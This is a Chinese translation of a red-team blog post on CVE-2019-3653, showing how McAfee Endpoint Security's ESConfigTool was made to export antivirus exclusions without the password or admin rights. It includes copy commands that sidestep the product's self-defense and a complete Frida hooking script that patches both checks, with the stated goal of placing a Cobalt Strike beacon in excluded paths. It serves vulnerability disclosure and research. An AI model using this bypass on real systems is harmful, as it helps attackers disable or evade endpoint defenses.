介绍

这篇文章是关于我在一次红队活动中如何利用McAfee工具绕过McAfee Endpoint Security杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。

McAfee

在以往,每当我们遇到McAfee Virus Scan Enterprise(VSE)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。

然而,在这次任务中,事情没那么简单。因为他们使用的是McAfee Endpoint Security,从VSE时代到现在,McAfee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。

那么,我们现在该把恶意文件放在哪里?

ESConfigTool

McAfee Endpoint Security杀毒软件附带一个名为ESConfigTool的程序,可用于导入和导出配置文件。它的详细用法如下。

我们发现,要从McAfee Endpoint Security得知安全设置,你需要:

  • 解锁密码

  • 管理权限

很遗憾这两者我们都没有。

现在,先让我们下载一个试用版本的McAfee Endpoint Security,看看是否有入手点。

变化

我们最后决定还是以ESConfigTool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:

  • C:\Windows\Temp\

  • *mimikatz.exe

  • C:\TotallyLegit\

还设置了密码保护:starwars。

打开一个cmd,看看我们是否可以得到这些设置信息。

Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.C:\Windows\system32>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\Export.xml /module TP /unlock starwars /plaintext
Command executed successfully. Please refer to Endpoint Security logs for detailsC:\Windows\system32>

让我们打开xml文件,看看是否有敏感信息:

<EXCLUSION_ITEMS><EXCLUSION_ITEM><EXCLUSION_BY_NAME_OR_LOCATION>C:\Windows\Temp\</EXCLUSION_BY_NAME_OR_LOCATION><EXCLUSION_FILE_TYPE /><EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE><EXCLUSION_TYPE>3</EXCLUSION_TYPE><EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS><EXCLUSION_ON_READ>1</EXCLUSION_ON_READ><EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE><EXCLUSION_SOURCE>0</EXCLUSION_SOURCE></EXCLUSION_ITEM><EXCLUSION_ITEM><EXCLUSION_BY_NAME_OR_LOCATION>**\*mimikatz.exe</EXCLUSION_BY_NAME_OR_LOCATION><EXCLUSION_FILE_TYPE /><EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE><EXCLUSION_TYPE>3</EXCLUSION_TYPE><EXCLUSION_EXCLUDE_SUBFOLDERS>0</EXCLUSION_EXCLUDE_SUBFOLDERS><EXCLUSION_ON_READ>1</EXCLUSION_ON_READ><EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE><EXCLUSION_SOURCE>0</EXCLUSION_SOURCE></EXCLUSION_ITEM><EXCLUSION_ITEM><EXCLUSION_BY_NAME_OR_LOCATION>C:\TotallyLegit\</EXCLUSION_BY_NAME_OR_LOCATION><EXCLUSION_FILE_TYPE /><EXCLUSION_BY_FILE_AGE>0</EXCLUSION_BY_FILE_AGE><EXCLUSION_TYPE>3</EXCLUSION_TYPE><EXCLUSION_EXCLUDE_SUBFOLDERS>1</EXCLUSION_EXCLUDE_SUBFOLDERS><EXCLUSION_ON_READ>1</EXCLUSION_ON_READ><EXCLUSION_ON_WRITE>1</EXCLUSION_ON_WRITE><EXCLUSION_SOURCE>0</EXCLUSION_SOURCE></EXCLUSION_ITEM>
</EXCLUSION_ITEMS>

是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。

Self-defense

通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,McAfee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个Debugging stopped消息,McAfee对这种可疑行为极为敏感。

12/10/2019 12:47:09   mfeesp(2204.6392) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.
12/10/2019 12:47:09   mfeesp(2204.5404) <SYSTEM> ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule "Core Protection - Protect McAfee processes from unauthorized access and termination", and was blocked. For information about how to respond to this event, see KB85494.

看来我们首先需要绕过这种自我防御机制。

Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>mkdir \tempC:\Users\admin>cd \tempC:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" .1 file(s) copied.C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll" .1 file(s) copied.C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll" .1 file(s) copied.C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll" .1 file(s) copied.C:\temp>copy "C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll" .1 file(s) copied.C:\temp>

没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧。

绕过密码检查

先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:

C:\Windows\system32>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\Export.xml /module TP /unlock startrek /plaintext
There were some errors while executing command. Please refer to Endpoint Security logs for detailsC:\Windows\system32>

嗯,没什么特别的。不过McAfee的日志文件提供了更多信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) <admin> ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed

让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。

现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为BLInvokeMethod的东西,后面还跟着一个没有执行的跳转:

此时,我们有两个选择:

  1. 进入密码检查函数,看看它是如何工作的,并尝试破解密码。

  2. 直接更改检查函数的返回值。

因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入RAX寄存器:

如果提供了正确的密码,则RAX寄存器的值为0:

那么,如果我们提供了错误的密码,将密码检查函数中断,并将RAX寄存器的值改为0,会发生什么情况呢?

成功导出设置!

看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。

绕过管理员权限

在没有管理员权限的情况下,ESConfigTool工具能使用的功能是非常有限的:

Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.C:\Users\user>"C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe" /export C:\temp\Export.xml /module TP /unlock starwars /plaintext
Description:Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE:ESConfigTool.exe /export <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/plaintext ]ESConfigTool.exe /import <filename> [/module <TP|FW|WC|ESP> ] [/unlock <password> ] [/policyname <name> ]ESConfigTool.exe /helpC:\Users\user>

我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。

如果追踪这个函数,会发现它将最终调用[AllocateAndInitializeSid](https://docs.microsoft.com/en-us/windows/win32/api/securityba seapi/nf-securityba seapi-allocateandinitializesid)。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。

返回值检查如下:

这一次返回值必须是0以外的任何值。

OK,又成功了!

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!

自动运行

到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。

McAfee机器:

Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>cd \tempC:\temp>frida-server-12.7.9-windows-x86_64.exe

Python机器:

Python 3.6.7 (default, Oct 22 2018, 11:32:17)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import frida
>>> devmgr = frida.get_device_manager()
>>> devmgr.add_remote_device('192.168.31.150')
Device(id="tcp@192.168.31.150", name="192.168.31.150", type='remote')
>>> rdev = frida.get_device('tcp@192.168.31.150')
>>> args = [
...   'ESConfigTool.exe',
...   '/export',
...   'frida-export.xml',
...   '/module',
...   'ESP',
...   '/unlock',
...   'startrek',
...   '/plaintext'
... ]
>>> pid = rdev.spawn(args)
>>> session = rdev.attach(pid)
>>> session
Session(pid=11168)

现在我们已经连接上,ESConfigTool.exe也正在运行!

现在我们可以将JS代码注入到ESConfigTool进程中。

Frida脚本

我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress('ESConfigTool.exe');
//const adminCheck = configbase.add(0x5240); //32
const adminCheck = configbase.add(0x5f30); //64
const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')console.log('[-] base address is:',configbase);
console.log('[-] Admin check is:',adminCheck);
console.log('[-] BLInvokeMethod:',BLInvokeMethod);Interceptor.attach(adminCheck, {onEnter: function (args) {console.log('[+] Hooked admin check function');},onLeave: function (retval) {console.log('[+] Returning true for admin check');retval.replace(1);}
});Interceptor.attach(BLInvokeMethod, {onEnter: function (args) {console.log('[+] Hooked BLInvokeMethod function');},onLeave: function (retval) {console.log('[+] Patching password check function');retval.replace(0x0);}
});

这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = """
... const configbase = Module.findbaseAddress('ESConfigTool.exe');
... //const adminCheck = configbase.add(0x5240); //32
... const adminCheck = configbase.add(0x5f30); //64
... const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
...
... console.log('[-] base address is:',configbase);
... console.log('[-] Admin check is:',adminCheck);
... console.log('[-] BLInvokeMethod:',BLInvokeMethod);
...
... Interceptor.attach(adminCheck, {
...   onEnter: function (args) {
...     console.log('[+] Hooked admin check function');
...   },
...   onLeave: function (retval) {
...     console.log('[+] Returning true for admin check');
...     retval.replace(1);
...   }
... });
...
... Interceptor.attach(BLInvokeMethod, {
...   onEnter: function (args) {
...     console.log('[+] Hooked BLInvokeMethod function');
...   },
...   onLeave: function (retval) {
...     console.log('[+] Patching password check function');
...     retval.replace(0x0);
...   }
... });
...
... """
>>> session.create_script(script).load()
[-] base address is: 0x7ff73ed30000
[-] Admin check is: 0x7ff73ed35f30
[-] BLInvokeMethod: 0x7ffa4d759730
>>> rdev.resume(pid)
>>> [+] Hooked admin check function
[+] Returning true for admin check
[+] Hooked BLInvokeMethod function
[+] Patching password check function>>> 

最终结果如下:

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。

后续

现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3052.html
来源:https://dmaasland.github.io/posts/mcafee.html

利用Mcafee管理工具绕过McAfee杀毒软件相关推荐

  1. 如何利用研发管理工具 更好实践IPD流程

    IPD流程管理起源于美国,经由IBM公司实践推广后,1999年,任正非将其带入华为公司,通过"不换思想就换人"的强硬推广,让华为迅速实现了内部流程管控.研发管理.市场运营等一系列的 ...

  2. 如何利用英特尔管理工具绕过Windows防火墙

    微软透露,名为PLATINUM(铂金)的黑客组织,利用英特尔vPro处理器和芯片集中可用的主动管理技术(AMT),简单地完全绕过了Windows防火墙. 基本上, 该黑客组织的文件传输工具主要利用的, ...

  3. 利用ApiPost接口管理工具校验/测试API返回结果是否符合预期

    本文主要讲解接口管理工具ApiPost的预执行脚本和后执行脚本里,怎么校验/测试接口返回结果是否符合预期? ApiPost简介: ApiPost是一个支持团队协作,并可直接生成文档的API调试.管理工 ...

  4. [工具使用]-利用latex管理创建自己的ACM模板

    https://www.cnblogs.com/31415926535x/p/11448017.html 从很早入坑ACM开始,便和各种算法的模板打着交道,虽然kaungbin的模板已经足够强大,但是 ...

  5. 【笔记】最佳日志管理工具:51个有用的日志管理、监视、分析等工具

    最佳日志管理工具:51个有用的日志管理.监视.分析等工具 痛苦的纯文本日志管理日子一去不复返了.虽然纯文本数据在某些情况下仍然很有用,但是在进行扩展分析以收集有洞察力的基础设施数据并改进代码质量时,寻 ...

  6. 电脑技巧:进程管理工具Process Explorer介绍

    目录 1.介绍 2.常用功能介绍 2.1 替代微软自带的任务管理器 2.2 查看当前系统中运行的进程 2.3 查看进程的详细信息 2.4 检索进程 2.5 监控操作系统的性能指标 2.6 获取Dump ...

  7. Shell管理工具流量分析-下(冰蝎 3.0、哥斯拉 4.0 流量分析)

    书接上篇,再分析冰蝎 2.0 之后来看一看 3.0 拥有那些新特性 文章目录 冰蝎 3.0流量 功能原理分析 哥斯拉 使用介绍 PHP加密器分析 推荐阅读 冰蝎 3.0流量 冰蝎 3.0 PHP sh ...

  8. 开源给Windows当家:15款管理工具任选

    开源软件作用大 毋庸置疑,现在用的最广的系统非微软Windwos操作系统莫属,什么Linux,什么苹果OS,跟Windwos在市场上的覆盖率相比都要逊色很多,而对于服务器市场,Windows Serv ...

  9. 部署SQL AZURE的客户端管理工具,云计算体验之二

      部署SQL AZURE的客户端管理工具 上篇文章中我们介绍了如何在SQL AZURE的云端创建数据库服务器及数据库,本文我们要为大家介绍管理云端数据库的客户端工具.熟悉SQL Server 的朋友 ...

  10. 国内外有哪些不错的需求管理工具?如何选择?

    需求管理主要是进行需求的条目化管理.需求跟踪.需求基线管理以及需求变更的管理.其中,由于需求建立到需求维护这个过程是双向的,需求一旦变多或复杂,双向溯源的关联关系也会变得非常复杂,所以我们就必须借助工 ...

最新文章

  1. [k8s] 第二章 十分钟带你搭建k8s集群环境
  2. 1-VMware workstation认识
  3. 第十六节:语法总结(3)(C#6.0和C#7.0新语法)
  4. python爬取pdf内容_Python爬取读者并制作成PDF
  5. visual studio code配置项
  6. 【虚拟化】Dockerfile构建JDK镜像
  7. ProgressDialog知识要点
  8. 农历控件源码(C#)
  9. 678. 有效的括号字符串
  10. Checkpoint--实现步骤
  11. Codeforces Round #575 (Div. 3) 题解
  12. 6,EWF写保护功能介绍与使用
  13. Rainmeter个人使用的插件
  14. Windows XP 64位注册表删除问题
  15. 家庭宽带搭建个人服务器
  16. Centos7恢复xfs删除文件
  17. strut1和strut2的区别
  18. 【JVM技术专题】 深入学习Parallel Scavenge回收器「 原理篇」
  19. Latex中插入用origin绘画的两条坐标轴,双x轴或者双y轴拥有不同刻度的图片
  20. MobaXterm - 远程连接工具

热门文章

  1. stata计量之前数据清洗的必备步骤
  2. SteamVR简介(Yanlz+Steam+VR+Unity+AR+MR+XR+=)
  3. 2022危险化学品生产单位安全生产管理人员考试试题模拟考试平台操作
  4. php+检测是否是手机浏览器,通过PHP、JavaScript、判断是否为手机浏览器
  5. stm8s stvd 编译出错
  6. 写给零基础入坑蓝桥杯的同学
  7. 《参禅与悟道》——浅谈人生
  8. 淘宝爆款单品月纯利100万运营实战
  9. 智慧城市系列之智能交通系统(ITS)
  10. 南大被骂到上热搜!Nature杂志回应南京大学拟花120万发校庆特刊!